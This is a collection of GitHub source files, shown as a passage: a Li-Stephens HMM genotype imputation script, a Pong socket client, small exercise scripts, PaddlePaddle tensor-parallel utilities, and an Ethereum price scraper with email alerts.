intercept*0.5*theta/(k+theta)+boolean_array*k/(k+theta)\n\n\ndef fill_norec_long_p(theta, alphas0, M, k,ref_order):\n '''\n j: Initial value should be 0\n recursively solving alpha_{j+1}\n Add more precision\n factor: a log based constant\n '''\n logalphas0 = np.log(alphas0)\n logalphas = np.zeros(k)\n for j in range(M-1):\n # j means j+1\n hs = H[ref_order[k],j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[ref_order[:k],j] \n gamma = gammax_p(theta,hs,h_origs,k) # times a constant factor to avoid underflow\n # pj = np.exp(-(GM[j+1]-GM[j])/k)\n # log sum of exp(-(GM[j+1]-GM[j])/k + logalphas0) + sum (np.exp(logalphas0))\n # term0: -gm/k + logalphas0; 1 x k\n term0=(-(GM[j+1]-GM[j])/k+logalphas0).reshape(-1,1)\n # term1: (logalpha_i(x') - logk); 1 x k => need to be broadcast\n term1=(logalphas0-np.log(k)).reshape(1,-1) # k terms, plus sign\n # add12 = np.logaddexp(term0, term1)\n # term2: logalpha_i(x') - logk - gm/k; 1 x k => need to be broadcast to k by k\n term2=(logalphas0-np.log(k)-(GM[j+1]-GM[j])/k).reshape(1,-1) # k terms, minus sign\n \n # logsumterms = np.concatenate((term0,term1,term2))\n logsumterms = np.concatenate((term0.reshape(-1,1), np.repeat(term1.reshape(1,-1),k,axis=0), np.repeat(term2.reshape(1,-1),k,axis=0)),axis=1)\n logalphas=scipy.special.logsumexp(logsumterms,b=[1]*(k+1)+[-1]*k,axis=1)+np.log(gamma)\n # print(logalphas)\n # logalphas = np.log(gamma)+ np.log(pj*alphas0 + (1-pj)*np.sum(alphas0)/k)\n \n # addterm = [-(GM[j+1]-GM[j])/k+logalphas0+log(k-1), \n # logalphas = np.log(gamma)+np.log(k*pj*np.exp(logalphas0) + (1-pj)*np.sum(np.exp(logalphas0))) - np.log(k) \n # if j <= 20:\n # print(logalphas)\n logalphas0 = logalphas\n return logalphas0\n\ndef jointH_long_p(logtheta,S,ref_order,maxperm=20):\n '''\n Learn the error parameter theta\n '''\n # perm = np.minimum(maxperm,int(np.ceil(0.2*K)))\n logpi = 0\n\n for k,_ in enumerate(ref_order):\n if k >= len(ref_order)-1:\n break\n alphas0 = init_alpha_p(ref_order,k+1, np.exp(logtheta))\n # print('alphas0')\n # print(alphas0)\n # alpha_k = fill(theta, alpha0[ref_order[:(k+1)]],0,S,k+1) # k is 0 based, so need to add by 1 \n logalpha_k = fill_norec_long_p(np.exp(logtheta), alphas0, S, k+1,ref_order) # non recursive call; this function would cause underflow\n # print(logalpha_k)\n logpi_k = -np.log10(np.sum(np.exp(logalpha_k))) # -factor*np.log10(np.exp(0.1))\n logpi+=logpi_k\n return logpi\n\ndef init_alpha_p(ref_order,k, theta):\n '''\n This function compute the probability of P(h=k+1, X1=k); \n or the joint probability of having k+1 reference haplotype and observing snps in haplotype k in the first locus\n alpha is a K vector, depending on K\n P(h=k+1, X1=k) = P(h=k+1| X1=j) * P(X1=j) = gammax(theta, H[ref_order[0],j],h_origs,j)*1/K\n '''\n alphas0 = gammax(theta, H[ref_order[k],0],H[ref_order[:k],0],k)*1/k\n return alphas0\n\n\n#### python end #####\n\n\n\n@jit(nopython=True)\ndef forward(j,theta,K, testsnp):\n '''\n Description: \n Computing P(X_j, h_{1,j})\n Args:\n j: position of the imputed genotype\n K: number of reference genotypes\n testsnp: snps vector of given individual\n Return:\n an array of forward alpha\n '''\n order = np.arange(K)\n alphas0 = init_alpha(order,K, theta,testsnp=testsnp[0])\n alpha_j = forfill(theta, alphas0, j, K, testsnp) # forfill(theta,alphas0,j,k,testsnp)\n return alpha_j\n\n@jit(nopython=True)\ndef backward(M,j,K,theta,testsnp):\n '''\n Describ\n Compute P(h_{j,M}| x_{j-1})\n Args: \n j, theta, L\n beta0: Base case, should be all 1s \n\n '''\n beta0 = np.ones(K)\n beta_j = backfill(theta,beta0,M,j,K,testsnp) # backfill(theta,betaM,M,j,K,testsnp)\n return beta_j\n\n@jit(nopython=True)\ndef backward_log(M,j,K,theta,testsnp):\n '''\n Describ\n Compute P(h_{j,M}| x_{j-1})\n Args: \n j, theta, L\n beta0: Base case, should be all 1s \n\n '''\n logbeta0 = np.zeros(K)\n beta_j = backfill_log(theta,logbeta0,M,j,K,testsnp) # backfill(theta,betaM,M,j,K,testsnp)\n return beta_j\n\n@jit(nopython=True)\ndef backfill(theta,betaM,M,j,K,testsnp):\n for j in range(M-1,j-1,-1):\n hs = testsnp[j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[:K,j] \n gamma = gammax(theta,hs,h_origs,K)\n pj = np.exp(-(GM[j]-GM[j-1])/K)\n beta_j = pj*betaM*gamma + (1-pj)*np.sum(betaM*gamma)/K\n betaM =beta_j\n return betaM\n\n@jit(nopython=True)\ndef backfill_log(theta,logbetaM,M,j,K,testsnp):\n for j in range(M-1,j-1,-1):\n hs = testsnp[j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[:K,j] \n loggamma = np.log(gammax(theta,hs,h_origs,K))\n pj = np.exp(-(GM[j]-GM[j-1])/K)\n logbeta_j = np.log(pj)+np.log(betaM)+loggamma + np.log((1-pj))+ np.log(np.sum(np.exp(logbetaM + loggamma))) - np.log(K)\n logbetaM =logbeta_j\n return logbetaM\n\n\n@jit(nopython=True)\ndef forfill(theta,alphas0,M,k,testsnp):\n # testsnp is a vector right now\n for j in range(1,M):\n hs = testsnp[j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[:k,j] \n gamma = gammax(theta,hs,h_origs,k)\n # print('gamma is: ')\n # print(gamma)\n # d = Distlist[j+1] - Distlist[j] # Distlist records the physical distance at each loci\n # pj = np.exp(-rhos[j-1]*d/k)\n pj = np.exp(-(GM[j]-GM[j-1])/k)\n alphas = gamma*(pj*alphas0 + (1-pj)*np.sum(alphas0)/k) \n # if j < 10:\n # print('alphas')\n # print(alphas)\n alphas0 = alphas\n # logalphas0 = logalphas\n return alphas0\n\n@jit(nopython=True)\ndef forfill_log(theta,alphas0,M,k,testsnp):\n # testsnp is a vector right now\n for j in range(1,M):\n hs = testsnp[j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[:k,j] \n loggamma = np.log(gammax(theta,hs,h_origs,k))\n # print('gamma is: ')\n # print(gamma)\n # d = Distlist[j+1] - Distlist[j] # Distlist records the physical distance at each loci\n # pj = np.exp(-rhos[j-1]*d/k)\n pj = np.exp(-(GM[j]-GM[j-1])/k)\n alphas = gamma*(pj*alphas0 + (1-pj)*np.sum(alphas0)/k) \n # if j < 10:\n # print('alphas')\n # print(alphas)\n alphas0 = alphas\n # logalphas0 = logalphas\n return alphas0\n\n\ndef posterior(alphabeta, j, K, theta):\n # compute the posterior probability of P(h_j=1| h_{1,M})\n marginal_vector1 = alphabeta*(H[:,j]==1)\n marginal_vector1 = marginal_vector1*(K/(K+theta) + 0.5*theta/(K+theta))\n marginal_vector2 = alphabeta*(H[:,j]==0)\n marginal_vector2 = marginal_vector2*(0.5*theta/(K+theta))\n\n return 1/(1+np.sum(marginal_vector2)/np.sum(marginal_vector1))\n\n # return np.sum(marginal_vector1)/(np.sum(marginal_vector1)+np.sum(marginal_vector2))\n\ndef logposterior(logalphabeta, j, K, theta):\n # compute the posterior probability of P(h_j=1| h_{1,M})\n marginal_vector1 = logalphabeta*(H[:,j]==1)\n marginal_vector1 = marginal_vector1 + np.log(K/(K+theta) + 0.5*theta/(K+theta))\n marginal_vector2 = logalphabeta + np.log(H[:,j]==0)\n marginal_vector2 = marginal_vector2 + np.log(0.5*theta/(K+theta))\n\n return 1/(1+np.sum(np.exp(marginal_vector2))/np.sum(np.exp(marginal_vector1)))\n\n # return np.sum(marginal_vector1)/(np.sum(marginal_vector1)+np.sum(marginal_vector2))\n\n\n\n\n\ndef permuteHap(order, seed=0):\n if seed>0:\n np.random.seed(seed)\n\n # global ref_order\n np.random.shuffle(order)\n return\n\n\n# def genetic_map(ref, dist, snps):\n# '''\n# Args: \n# ref: a vector of snps position\n# dist: a vector of genetic mapping value, 1-1 as ref\n# snps: a vector of snps of testing\n# step 1: find the index of snps which has records in ref\n# step 2: get the corresponding distance of each records\n# step 3: impute the genetic score for each of the missing records\n# ''' \n# refindices=np.in1d(ref,snps)\n# testindices=np.in1d(snps,ref)\n\n \n\n\n\n# Simulation start\n# K = 10\n# S = 10000\n\n# # Distlist = np.loadtxt('example.dist')\n# Distlist = np.arange(S)\n# # rhos = np.loadtxt('example.rho')\n# rhos = np.random.uniform(0.1,0.2,S)\n# # H = np.loadt('example.hap')\n# H = np.random.binomial(1,0.5, (K,S))\n# print(H)\n\n\n# datapath='/home/boyang1995/research/Li-Stephens/PrivateGenomes.jl/data/'\n# mapfile='10k_SNP.map'\n# gene_df = pd.read_csv(f'{datapath}{mapfile}',sep=' ')\n# GM = gene_df.infer_map.values # genetic mapping\n\n\n# alpha0 = np.random.uniform(0,0.1,K)\n# alpha0 = alpha0/np.sum(alpha0)\n# logtheta = np.log(1/(np.sum(1/np.arange(1,K+1))))\n\n# jointHest = jointH(theta,alpha0,S,K)\n# print(jointHest)\n# alpha_t = fill(theta, alpha0,0,S,K)\n# print(alpha_t)\n# start = time.time()\n# # res = minimize(jointH, logtheta, method='nelder-mead', args=(alpha0,S,K,1))\n# order = np.random.choice(K,K,replace=False)\n# # res = minimize(jointH, logtheta, method='nelder-mead', args=(alpha0,S,K,),tol=1)\n# # res = scipy.optimize.brent(jointH, args=(alpha0,S,K,),tol=1)\n# res = scipy.optimize.minimize_scalar(jointH,args=(alpha0,S,order),tol=1)\n# end = time.time()\n# print(f'execution time is {end-start}')\n# print(res)\n\n# start = time.time()\n# # res = minimize(jointH, logtheta, method='nelder-mead', args=(alpha0,S,K,1))\n# # del ref_order\n# order = np.random.choice(K,K,replace=False)\n# print(f'order is {order}')\n# # res = minimize(jointH, logtheta, method='nelder-mead', args=(alpha0,S,K,),tol=1)\n# # res = scipy.optimize.brent(jointH, args=(alpha0,S,K,),tol=1)\n# res = scipy.optimize.minimize_scalar(jointH_long,args=(S,order),tol=0.1)\n# # res = scipy.optimize.minimize_scalar(jointH,args=(S,order),tol=0.1)\n# end = time.time()\n# print(f'execution time is {end-start}')\n# print(res)\n\n# Simulation end\n\n\n\n####\n# real analysis\n\n\n# infpath='/home/boyang1995/research/Li-Stephens/PrivateGenomes.jl/orig_data/1000GP_Phase3/'\n# infofile='genetic_map_chr15_combined_b37.txt'\ndatapath='/home/boyang1995/research/Li-Stephens/PrivateGenomes.jl/data/'\nsnpid='805_SNP.legend'\ntest='805_SNP_1000G_real.hapt.test'\ntrain='805_SNP_1000G_real.hapt.train'\nmapfile='805_SNP.map'\n\nH = pd.read_csv(f'{datapath}{train}',sep=' ',header=None).iloc[:,2:].values\ngene_df = pd.read_csv(f'{datapath}{mapfile}',sep=' ')\nGM = gene_df.infer_map.values # genetic mapping\n\nH_test_df = pd.read_csv(f'{datapath}{test}',sep=' ',header=None)\nH_test = H_test_df.iloc[:,2:].values\n# H_test_lab = H_test.iloc[:,:2].values\n\nK = H.shape[0]\nS = H.shape[1]\n# S = 5000\n\n\nimpute_FLAG=False\ntest_loglike=True\ntheta_learning=False\ntheta = np.exp(-1)\nN = H_test.shape[0]\nif impute_FLAG:\n '''\n Pearson correlation, mse error, MAF\n methods: \n 1. HMM\n 2. majority vote (MSE only)\n 3. random guess \n '''\n print('############# imputation test ############')\n\n print(f'K is {K}')\n print(f'S is {S}')\n # N = 20\n rhos_hmm = []\n # rhos_hard_hmm = []\n rhos_rg = [] # random guess\n mses_hmm = []\n mses_hmm_hard = []\n # mse_rg = []\n \n MAFlist = []\n mse_MAF = []\n # j = 40\n Indices = []\n for j in range(0, 500):\n print(f'current snp is {j}')\n # for j in range(4):\n Indices.append(j)\n best_ks = []\n postlist = []\n for i in tqdm(range(N)):\n # -0.06\n alpha_j = forward(j,theta, K, H_test[i]) # forward(j,theta,K, testsnp)\n assert np.all(np.isfinite(alpha_j))\n # print(f'Forward prob: ')\n # print(alpha_j)\n beta_j = backward(S, j+1, K, theta, H_test[i]) # backward(M,j,K,theta,testsnp)\n assert np.all(np.isfinite(beta_j))\n # print(f'Backward prob: ')\n # print(beta_j)\n # logalphabeta = logalpha_i + logbeta_j\n alphabeta = alpha_j*beta_j\n # best_k = np.argmax(alphabeta)\n # best_ks.append(best_k)\n # P = log_posterior(logalphabeta, j, K, theta) # log_posterior(logalphabeta, j, K, theta)\n P = posterior(alphabeta, j, K,theta) # posterior(alphabeta, j, K, theta)\n if np.isnan(P):\n print(alpha_j)\n print(beta_j)\n print(alphabeta)\n postlist.append(P)\n MAF = np.sum(H[:,j])/H.shape[0]\n # print(f'MAF is {MAF}, {1-MAF}')\n if MAF > (1-MAF):\n impute = 1 \n else:\n impute = 0\n MAF = np.amin((MAF,1-MAF))\n MAFlist.append(MAF)\n mse_MAF.append(((impute- H_test[:N,j])**2).mean())\n # print(postlist)\n hard_imputes = np.round(postlist)\n postlist = np.array(postlist)\n # print(postlist)\n\n rho_P = pearsonr(postlist,H_test[:N,j])[0]\n rho_sanity = pearsonr(H[np.random.choice(K,N),j],H_test[:N,j])[0]\n mse_hmm_hard = ((hard_imputes- H_test[:N,j])**2).mean()\n mse_hmm = ((postlist- H_test[:N,j])**2).mean()\n\n rhos_hmm.append(rho_P)\n rhos_rg.append(rho_sanity)\n mses_hmm_hard.append(mse_hmm_hard)\n mses_hmm.append(mse_hmm)\n\n print(f'Pearson correlation for index {j} posterior is {rho_P}')\n print(f'Random pearson correlation is {rho_sanity}')\n # postlist = np.array(postlist).reshape(-1,1)\n # MAFlist = np.array(MAFlist).reshape(-1,1)\n # rhos_hmm = np.array(rhos_hmm).reshape(-1,1)\n # # rho_sanity = np.array(rho_sanity).reshape(-1,1)\n # rhos_rg = np.array(rhos_rg).reshape(-1,1)\n # mses_hmm = np.array(mses_hmm).reshape(-1,1)\n # mses_hmm_hard = np.array(mses_hmm_hard).reshape(-1,1)\n # MAFlist = np.array(MAFlist).reshape(-1,1)\n # Indices = np.array(Indices).reshape(-1,1)\n # mse_MAF = np.array(mse_MAF).reshape(-1,1)\n \n summary = np.concatenate((np.array(Indices).reshape(-1,1), np.array(MAFlist).reshape(-1,1), np.array(rhos_hmm).reshape(-1,1), np.array(rhos_rg).reshape(-1,1), np.array(mses_hmm).reshape(-1,1), np.array(mses_hmm_hard).reshape(-1,1), np.array(mse_MAF).reshape(-1,1)),axis=1)\n summary_df = pd.DataFrame(data=summary, columns=['Index', 'MAF', 'r2_hmm', 'r2_rand', 'mse_hmm', 'mse_hmm_hard', 'mse_MAF'])\n summary_df.to_csv('summary.txt',sep=' ',index=False)\n\n \n # best_ks = np.array(best_ks)\n # rho = pearsonr(H[best_ks,j],H_test[:N,j])[0]\n \n # print(f'Pearson correlation for index {j} is {rho}')\n \n\n \n \n\n \n\n # np.savetxt('impute.txt',H[best_ks,j])\n # np.savetxt('actual.txt',H_test[:N,j])\n \n \n # print(f'Imputation error is {np.sum(np.abs(H_test[:,j]-impute))/H_test.shape[0]}')\n\nif test_loglike:\n loglikes = []\n indindex = []\n GM = GM[1:] - GM[:-1]\n GM = GM[GM>=0]\n Genetic_dist = np.mean(GM)\n GM = np.repeat(Genetic_dist, S)\n \n # S = 100\n print('############# test data log likelihood computation ############')\n print(f'Total tested snps are {S}')\n print(f'Total samples are {K}')\n for i in range(H_test.shape[0]):\n # for i in [255,257,370,371,464,491,773,811,820,822,835]:\n indindex.append(i)\n # loglike = jointH_test(theta, S, K, testhap=H_test[i]) # jointH_test(logtheta,S,K,testhap)\n # print(f'no precision enhance: {loglike}')\n loglike = jointH_test_log(theta, S, K, testhap=H_test[i]) # jointH_test(logtheta,S,K,testhap)\n print(f'precision enhance: {loglike}')\n loglikes.append(loglike)\n # print(f'neg log lik for ind {i} is {loglike}')\n loglikes = np.array(loglikes).reshape(-1,1)\n indindex = np.array(indindex).reshape(-1,1)\n logsummary = np.concatenate((indindex,loglikes),axis=1)\n # print(loglikes)\n np.savetxt('loglike_805.txt',logsummary,fmt='%i %.18e')\n print('############# test data log likelihood computation done ############')\n\n\nif theta_learning:\n\n xs = []\n for i in range(10):\n Ks = 500\n order = np.random.choice(K,Ks,replace=False)\n \n S = 1000\n # order = np.arange(K)\n # order = np.array([1,2,3,4,1])\n \n # H = np.random.binomial(1,0.5, (K,S))\n # alpha0 = np.random.uniform(0,0.1,K)\n # alpha0 = alpha0/np.sum(alpha0)\n start = time.time()\n # logpi = jointH(-1,S,order)\n # print(logpi)\n res = scipy.optimize.minimize_scalar(jointH,args=(S,order))\n xs.append(np.exp(res.x))\n xs = np.array(xs)\n print(xs)\n print(f'mean value is {np.mean(xs)}, std is {np.std(xs)}')\n\n # res2 = scipy.optimize.minimize_scalar(jointH_long,args=(S,order),bounds=(-50,0),method='bounded')\n # print(res2)\n # res3 = scipy.optimize.minimize_scalar(jointH_long_p,args=(S,order),tol=0.1)\n # print(res3)\n end = time.time()\n print(f'execution time is {end-start}')\n\n\n\n\n\n","repo_name":"FBoyang/li-stephen-hmm-replication","sub_path":"hmm_valid.py","file_name":"hmm_valid.py","file_ext":"py","file_size_in_byte":32787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74775210025","text":"#/usr/bin/python3\n\nimport json\nimport socket as socklib\nimport select\nfrom threading import Thread\nimport time\nimport re\n\n\nCLIENT_ACTIONS={}\n\n\nclass SocketClient(Thread):\n def __init__(self, addr):\n self.delay = 10\n self.status = 1\n self.id = -1\n self.addr = addr\n \n def start(self):\n self.socket = socklib.socket(socklib.AF_INET, socklib.SOCK_STREAM)\n self.socket.connect(self.addr)\n Thread.__init__(self)\n Thread.start(self)\n # print(\"((connect))\")\n\n self.send({\"type\": \"auth\"})\n\n def send(self, datas):\n datas = {\"id\": self.id, \"datas\": datas}\n self.socket.send(json.dumps(datas).encode())\n # print(\"((sending))\")\n\n def run(self):\n while self.status:\n time.sleep(self.delay / 1000)\n try:\n socks,_,_ = select.select([self.socket], [], [])\n for sock in socks:\n if sock == self.socket:\n if self.status == False:\n break\n\n r = self.socket.recv(4096)\n if r == b'':\n self.socket.close()\n self.status = 0\n print(\"[DEBUG] datas : %s\" % (r))\n else:\n rd = r.decode()\n reqlist = packet_to_jsonlist(rd)\n\n for req in reqlist:\n datas = json.loads(req)\n if datas['datas']['type'] == \"auth\":\n self.id = datas['datas']['value']\n print(\"Connexion = true (id:%d)\" % (self.id))\n if datas['datas']['value'] == -1:\n print(\"Connexion = false\")\n print(\"Fermeture du programme ...\")\n time.sleep(5)\n sys.exit(1)\n elif datas['datas']['type'] == \"custom\":\n funccat = datas['datas']['value']['cat']\n funcname = datas['datas']['value']['func']\n funcargs = datas['datas']['value']['args']\n\n global CLIENT_ACTIONS\n if funccat in CLIENT_ACTIONS:\n func = CLIENT_ACTIONS[funccat][funcname]\n func(sock, funcargs)\n except KeyboardInterrupt:\n break\n\ndef addActions(cat, funcname, func):\n global CLIENT_ACTIONS\n if cat not in CLIENT_ACTIONS:\n CLIENT_ACTIONS[cat] = {}\n\n CLIENT_ACTIONS[cat][funcname] = func\n\n\ndef packet_to_jsonlist(s):\n jsonlist = []\n try:\n count = 0\n current = 0\n for i in range(0, len(s)):\n if s[i] == '{':\n count += 1\n elif s[i] == '}':\n count -= 1\n if count == 0:\n jsonlist.append(s[current:i+1])\n current = i + 1\n except Exception as e:\n print(str(e))\n\n return jsonlist\n","repo_name":"Haunui/Pong","sub_path":"socketlib/clientsocket.py","file_name":"clientsocket.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7964695383","text":"# Создать текстовый файл (не программно), сохранить в нем несколько строк,\n# выполнить подсчет количества строк, количества слов в каждой строке - словами считаем то, что разделено пробелами.\n\nfile_name = 'file_2.txt'\nwith open(file_name, \"r\", encoding='UTF-8') as file_to_read:\n content = file_to_read.read()\n string_list = [str_el for str_el in content.split('\\n') if len(str_el) > 0]\n string_num = len(string_list)\n print(f'File content:\\n{content}')\n print(f'Number of strings in file: {string_num}')\n for string, i in zip(string_list, range(len(string_list))):\n string_clean = [word for word in string.split(' ') if len(word) > 0]\n print(f'{i + 1} row contains {len(string_clean)} words')\n","repo_name":"sekundra/Python_basic","sub_path":"5дз/5_2.py","file_name":"5_2.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4778524879","text":"from contextlib import contextmanager\nfrom typing import Optional, Union, Tuple\n\nimport paddle\n\nimport paddle.distributed.fleet.base.topology as tp\nfrom paddle.distributed.fleet.meta_parallel import get_rng_state_tracker\nfrom paddle.distributed.fleet.layers.mpu import mp_ops\n\nfrom .constants import dist_group_type\n\n_weight_split_axis = {\n 'transformer_engine': {\n 'row': 1,\n 'column': 0\n },\n 'paddle': {\n 'row': 0,\n 'column': 1\n }\n}\n\n\ndef get_tp_group_and_world_size(tp_group: Union[dist_group_type, None],\n enable_tp: bool = True) -> Tuple[Union[dist_group_type, None], int]:\n \"\"\"Get TP group and world size using Fleet API\"\"\"\n if not (paddle.distributed.is_initialized() and enable_tp):\n return None, 1\n model_parallel_group = (tp._HYBRID_PARALLEL_GROUP.get_model_parallel_group()\n if tp_group is None else tp_group)\n world_size = (tp._HYBRID_PARALLEL_GROUP.get_model_parallel_world_size()\n if tp_group is None else tp_group.nranks)\n return model_parallel_group, world_size\n\n\n@contextmanager\ndef track_rng_state(enable: bool, **kwargs) -> None:\n \"\"\"\n Applies get_rng_state_tracker().rng_state() to the context.\n If not enabled, it does nothing.\n \"\"\"\n if enable:\n with get_rng_state_tracker().rng_state(**kwargs):\n yield\n else:\n yield\n\n\ndef set_tensor_dist_attr(tensor: paddle.Tensor, is_parallel: bool, axis: int) -> None:\n \"\"\"Set distributed attributes for the input tensor\"\"\"\n tensor.is_distributed = is_parallel\n if is_parallel:\n tensor.split_axis = axis\n\n\ndef set_weight_tensor_dist_attr(tensor: paddle.Tensor, is_parallel: bool,\n parallel_mode: Optional[str], backend: str) -> None:\n \"\"\"Set distributed attributes for the weight tensor\"\"\"\n if not is_parallel or parallel_mode is None:\n return\n set_tensor_dist_attr(tensor, is_parallel, axis=_weight_split_axis[backend][parallel_mode])\n\n\ndef allreduce(\n input_: paddle.Tensor,\n tp_group: Optional[dist_group_type] = None,\n) -> paddle.Tensor:\n \"\"\"All-reduce the input tensor across model parallel group.\"\"\"\n\n # Bypass the function if we are using only 1 GPU.\n if tp_group is None or tp_group.nranks == 1:\n return input_\n\n # All-reduce.\n output = mp_ops._mp_allreduce(\n input_,\n group=tp_group,\n use_calc_stream=True,\n use_model_parallel=True,\n )\n\n return output\n\n\ndef identity(\n input_: paddle.Tensor,\n tp_group: Optional[dist_group_type] = None,\n) -> paddle.Tensor:\n \"\"\"\n Identity when forward.\n Allreduce across model parallel group when backward.\n \"\"\"\n output = mp_ops._c_identity(input_, group=tp_group)\n\n return output\n","repo_name":"NVIDIA/TransformerEngine","sub_path":"transformer_engine/paddle/distributed.py","file_name":"distributed.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":1056,"dataset":"github-code","pt":"36"} +{"seq_id":"69875186983","text":"# 가장 큰 점수 M\n# 모든 점수를 점수/M*100 값으로 고침\n# M = 70, 수학 50, 수학점수는 50/70*100이 되어 71.43\n\n# N = 과목 수\n# 두 번째 입력은 점수들 문자열\n\n# step-1\n# M = 점수 리스트 중에서 최대 점수 구하기\n# step-2\n# 모든 점수들 다시 구하기\n# step-3\n# 평균 구하기\n\n# 3\n# 40 80 60\n\nn = int(input())\nresult = 0\nscore = list(map(int, input().split()))\n# step-1\nM = max(score)\nfor i in score:\n result += i/M*100\nprint(result / n)\n\n","repo_name":"dntlakfn/boj","sub_path":"1546.py","file_name":"1546.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15446169171","text":"import urllib.request\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport datetime\r\nimport ethMail\r\n\r\n\r\n\r\nimport urllib.request\r\nfrom bs4 import BeautifulSoup\r\nreq = urllib.request.Request(\"***\", headers={'User-Agent' : \"Magic Browser\"})\r\nresponse = urllib.request.urlopen(req)\r\nhtml= response.read()\r\n#parse with our Beautiful Soup!\r\nsoup= BeautifulSoup(html, \"html5lib\")\r\nstartPrice= soup('span', {'id' : 'quote_price'})[0]\r\nstartPrice= str(startPrice)\r\nstartPrice=startPrice[43:49]\r\nprint(startPrice)\r\n\r\n#some globals\r\nstartTime= None\r\nprinted= False\r\nisPositive = True\r\nisZero= True\r\nbadAlerted1= False\r\nbadAlerted2= False\r\nbadAlerted3= False\r\n\r\ngoodAlerted0= False \r\ngoodAlerted1= False\r\ngoodAlerted2= False\r\ngoodAlerted3= False\r\ngoodAlerted4= False\r\n\r\nelapsedSeconds=0\r\nelapsedMinutes=0\r\nelapsedHours=0\r\nelapsedDays=0\r\n\r\nminutes= 0\r\nseconds= 0\r\nhours= 0\r\ndays= 0\r\n\r\n\r\nif startTime is None:\r\n\tstartTime= time.time();\r\n\tstartDateString= datetime.datetime.fromtimestamp(startTime).strftime('%m-%d-%Y %H:%M:%S')\r\ncurrentTime = time.time()\r\nelapsedTime = int(currentTime - startTime)\r\n\r\nwhile elapsedTime < 43200: #8 hours\r\n\tcurrentTime= time.time()\r\n\telapsedTime = int(currentTime - startTime)\r\n\telapsedSeconds= int(elapsedTime);\r\n\t\r\n\tif elapsedTime%60 == 0 and printed is False:\r\n\t#everything important happens here! Every 10s\r\n\t\t#read in the request\r\n\t\tprint(\"60 seconds have passed...Updating...\")\r\n\t\treq = urllib.request.Request(\"https://coinmarketcap.com/currencies/ethereum/\", headers={'User-Agent' : \"Magic Browser\"})\r\n\t\tresponse = urllib.request.urlopen(req)\r\n\t\thtml= response.read()\r\n\t\t#parse with our Beautiful Soup!\r\n\t\tsoup= BeautifulSoup(html, \"html5lib\")\r\n\t\tprice= soup('span', {'id' : 'quote_price'})[0]\r\n\t\tprice= str(price)\r\n\t\tprice=price[43:49]\r\n\t\tprint(price) \r\n\t\t\r\n\t\t#write to file and print in console\r\n\t\tdateString= datetime.datetime.fromtimestamp(currentTime).strftime('%m-%d-%Y %H:%M:%S')\r\n\t\tdelta= float(price)- float(startPrice) \r\n\t\t#check if number has increased or decreased\r\n\t\tif delta == 0:\r\n\t\t\tisZero=True\r\n\t\t\tisPositive= False\r\n\t\t\tdeltaStatus= \"is unchanged: \"\r\n\t\telif delta > 0:\r\n\t\t\tisZero=False\r\n\t\t\tisPositive= True\r\n\t\t\tdeltaStatus= \"is UP \"\r\n\t\telse:\r\n\t\t\tisZero=False\r\n\t\t\tisPositive= False\t\r\n\t\t\tdeltaStatus= \"is DOWN \"\r\n\t\t\r\n\t\tprint(\"Ethereum price is $\" + price + \" at \" + dateString + \"\\nPrice \" + deltaStatus + \"$\" + (\"%.2f\" % round(delta,2)) + \" from \" \r\n\t\t+ startDateString + \", \" + str(hours) +\" hour(s) ago and \" + str(minutes)+ \" minutes ago\\n\") \r\n\t\tpp= open('priceETH.txt','a+')\r\n\t\tpp.write(price + \" \" + dateString + \"\\n\")\r\n\t\tprinted= True;\r\n\t\t\r\n\t\tif float(price) > 300.00 and badAlerted1 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nWARNING! Uh,oh, Ethereum price has fallen to $\" + price + \".\" + \"\\n\\nIt is strongly reccomended that you take action now and sell if there is a negative downward trend.\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A sad email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has fallen to $\" + price + \"at \" + dateString + \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tbadAlerted1 = True\r\n\t\tif float(price) < 295.00 and badAlerted2 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nWARNING! Ethereum price has fallen to $\" + price + \".\" + \"\\n\\nIt is strongly reccomended that you take action now and sell if there is a negative downward trend.\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A sad email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has fallen to $\" + price + \"at \" + dateString + \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tbadAlerted2 = True\r\n\t\tif float(price) < 290.00 and badAlerted3 is False:\r\n\t\t\tep= open('ethAlert.txt','w')\r\n\t\t\tep.write(\"Dear User,\\n\\nWARNING! Ethereum price has fallen to $\" + price + \".\" + \"\\n\\GET THE HELL OUT OF THERE!!!\\n\" + \"\\nSincerely,\\n\\n\" + \"Braden\")\r\n\t\t\tep.close()\r\n\t\t\tprinted= True;\r\n\t\t\tethMail.sendMail() #uses email script to send alert\r\n\t\t\tprint(\"A sad email alert was sent!\")\r\n\t\t\tep= open('mailSentLog.txt','a+')\r\n\t\t\tep.write(\"Email sent: Ethereum price has fallen to $\" + price + \" at \" + dateString + \".\\n\")\r\n\t\t\tep.close()\r\n\t\t\tbadAlerted3 = True\t\r\n\t\t\r\n\t\tif float(price) > 303.00 